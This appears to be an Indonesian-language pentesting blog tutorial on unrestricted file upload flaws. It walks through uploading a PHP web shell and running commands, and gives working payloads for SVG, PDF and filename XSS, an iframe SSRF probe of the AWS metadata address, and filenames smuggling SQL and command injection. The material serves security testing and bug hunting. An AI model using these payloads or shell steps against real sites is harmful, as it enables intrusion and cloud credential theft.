Unrestricted File Upload – Karena pada zaman sekarang kerentanan bukan hanya sekedar SQL Injection, XSS, dan lain-lain apalagi kebanyakan orang berfikir bahwa: dengan Firewall saja sudah aman, tentunya harus diperiksa sedetail mungkin salah satunya dengan cara memperhatikan pada fitur File Upload ini.
Pengertian Unrestricted File Upload
Unrestricted File Upload merupakan jenis vulnerability yang terjadi di aplikasi website disaat jenis file yang diunggah oleh user tidak diperiksa, difilter, atau dibersihkan dengan benar oleh sistem. Sebagai seorang penetration tester, saya pribadi termasuk yang paling suka akan menguji jenis kerentanan dari fitur File Upload. Walau hasil akhir untuk mengunggah sebuah backdoor tidak bisa diperoleh, namun dari berbagai case yang saya temui, hampir semua ekstensi file bisa dimanfaatkan untuk melakukan serangan pada fitur ini seperti .svg .gif .pdf dan berbagai macam ekstensi bypass yang lain yang memiliki tingkat resiko berbeda.
Dari sekian banyak resiko yang dapat ditimbulkan karena jenis kerentanan ini, saya tidak akan menjelaskan semuanya secara detail. Saya hanya akan menuliskan berbagai jenis resiko dan eksploitasi yang saya temukan secara langsung dari kegiatan penetration testing dan bug hunting yang saya lakukan selama ini sebagai case nyata dan lebih realistis. Mindmap di bawah ini memberikan gambaran tentang berbagai serangan yang mungkin terjadi saat aplikasi mengimplementasikan fungsi fitur File Upload.Remote Code Execution
Resiko yang paling sering menjadi target serangan ini yang pertama adalah Remote Code Execution, ada banyak sekali cara untuk mengeksplotasi jenis kerentanan ini, salah satu yang paling umum adalah mengunggah sebuah shell backdoor dengan berbagai ekstensi. Step pada umumnya seperti berikut :
- Buat shell PHP (bisa menggunakan shell yang saya buat https://github.com/tegal1337/Shelly
- Upload shell tersebut pada target
- navigasikan ke jalur shell, misalnya, https://target.com/files/shell.php untuk melihat apakah itu dapat diakses.
- Jika shell dapat diakses, coba eksekusi shell misalnya, https://target.com/files/shell.php?cmd=whoami
Note : lakukan berbagai teknik bypass seperti mengubah ekstensi file, tampering, dan yang lainya ketika .php tidak berhasil diunggah. Untuk selengkapnya tentang teknik bypass bisa kalian baca disini How to Bypass File Upload Restrictions on Web Apps to Get a Shell « Null Byte :: WonderHowTo
Cross Site Scripting (XSS)
Saat melakukan pengujian pada fungsionalitas File Upload, ada beberapa cara untuk menjalankan skenario serangan XSS ini. XSS dapat dilakukan dengan mengunggah file berbahaya seperti file SVG, Gif, PDF, bahkan sekedar mengubah nama file menjadi Payload XSS. Untung contoh live nya kalian bisa kunjungi lab : https://labs.tegalsec.org/xss-labs/chall/8.php
XSS via SVG File : Jika aplikasi memungkinkan mengupload file yang berekstensi SVG (yang juga merupakan tipe gambar), file dengan konten berikut dapat digunakan untuk mentriger XSS :
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert('Stored XSS By TegalSec\n'+document.domain+'\n'+document.domain);
</script>
</svg>
XSS via File Name : Mirip seperi SSRF, serangan XSS dapat dilakukan dengan mengunggah file yang bernama “XSS Payload”. Ketika aplikasi akan merender nama file ini, jika ada kekurangan validasi/sanitasi input, payload akan diproses dan XSS akan terjadi.
Ataupun ketika ingin mengunggah sebuah file, capture request tersebut sebelum file berhasil diunggah seperti ini :
Original Request
----------------
POST /upload
Host: target.com
....
other headers
....filename=<script>alert(document.domain)</script>.png&data={file_content}
Baca Juga :
- [BUG BOUNTY] Gitlab CE/EE Remote Code Excecution
- [BUG BOUNTY] Security Misconfiguration to Sensitive Data Exposure
- [BUG BOUNTY] XSS File Upload Vulnerability
Jika aplikasi rentan dengan serangan ini, maka xss akan ter-eksekusi, sebagai contoh saya lampirkan sebuah video realcase yang saya buat mengenai XSS file upload via nama file ini
XSS via PDF File : Kadang ada beberapa aplikasi yang mengizinkan kita untuk mengunggah file dengan ekstensi PDF seperti fitur KYC, Lamaran Kerja, dan yang lainya. Banyak yang tidak tahu bahwa file PDF bisa kita manfaatkan untuk melakukan serangan XSS ini bahkan ada beberapa case bisa dilakukan SSRF.
/%PDF-1.4
1 0 obj
<<
/FunctionType 4
/Domain [(alert(document.domain)) 0]
/Range [0 0]
/Length 12
>>
Full payload kalian bisa download disini https://drive.google.com/file/d/1hl-LBAIAZmKVV3YM60JWSEVCA47K3DEZ/view?usp=sharing
Server Side Request Forgery (SSRF)
Pada dasarnya Server-Side Request Forgery (SSRF) adalah sebuah celah dimana Server yang rentan terhadap SSRF dapat dimanfaatkan untuk melakukan Request. Fitur File Upload yang memungkinkan penggunaan file seperti file HTML atau SVG, atau memungkinkan mengunggah file melalui URL dapat menyebabkan serangan SSRF.
AWS Metadata SSRF via HTML File Upload :
Malicious Code
--------------
<body>
<iframe src="http://169.254.169.254/latest/meta-data/" width="500" height="500"></iframe>
</body>
Simpan dan upload file.html yang berisi payload iframe seperti diatas, ketika aplikasi target itu rentan maka metadata AWS itu akan muncul pada iframe.
SSRF Payload : https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery
Server Side Injection
Dan yang terakhir adalah Server Side Injection. Ada beberapa aplikasi yang memungkinkan untuk menguji serangan Server-Side Injection seperti SQL Injection, Command Injection, atau lainnya menggunakan fitur File Upload.
Seperti XSS via File Name, Saat aplikasi menangani file yang diunggah secara tidak aman, menyimpan, atau memprosesnya di sisi server, nama file yang berisi beberapa muatan dapat dieksekusi dan mengakibatkan kerentanan injeksi sisi server. Untuk memeriksa masalah ini, kalian dapat melihat case berikut :
Original Request
----------------
POST /upload
Host: target.com
....
other headers
....someparam=somecontent&filename=test.png&content={file_content}
Memodifikasi request parameter filename pada $test.png$ menjadi kode SQL Injection dan Command Injection
Modified Request - SQL Injection
----------------
POST /upload
Host: target.com
....
other headers
....someparam=somecontent&filename=sleep(10)-- -.png&content={file_content}
# If the defined sleep (response delay) is observed, the application vulnerable to SQL Injection. ====================================================================
Modified Request - Command Injection
----------------
POST /upload
Host: target.com
....
other headers
....someparam=somecontent&filename=; sleep 10;.png&content={file_content}
# If the defined sleep (response delay) is observed, the application vulnerable to Command Injection.
Tools & Extensions
- File Upload Traverser: https://github.com/portswigger/file-upload-traverser
- Upload Scanner: https://github.com/portswigger/upload-scanner
- Fuxploider: https://github.com/almandin/fuxploider
- PHP Backdoor : https://github.com/tegal1337/Shelly
References :
- Unrestricted File Upload | OWASP Foundation
- File uploads | Web Security Academy (portswigger.net)
- File Upload Attacks (Part 1) – Global Bug Bounty Platform (yeswehack.com)
- What is Remote Code Execution (RCE)? – GeeksforGeeks
- How to Bypass File Upload Restrictions on Web Apps to Get a Shell « Null Byte :: WonderHowTo